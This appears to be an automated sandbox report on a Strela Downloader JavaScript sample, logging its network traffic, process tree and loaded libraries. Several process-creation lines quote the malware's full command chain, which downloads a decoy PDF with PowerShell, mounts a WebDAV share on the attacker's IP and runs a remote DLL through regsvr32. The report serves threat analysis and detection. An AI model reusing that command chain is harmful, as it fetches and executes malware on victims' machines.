Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2042343847.000002301F889000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2101309122.000002237F0D8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2101309122.000002237F12C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2101309122.000002237F0FD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2101309122.000002237F10B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2101309122.000002237F0D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sce
Source: net.exe, 00000007.00000002.2101309122.000002237F10B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/y
Source: svchost.exe, 00000009.00000002.3329918030.000001A5B9A0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2101661094.000001A5B9860000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1216, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 25134116771465314533.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3364:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pe14g123.hl2.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25134116771465314533.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1732,i,6973997051759037441,4806411835877973585,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1732,i,6973997051759037441,4806411835877973585,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
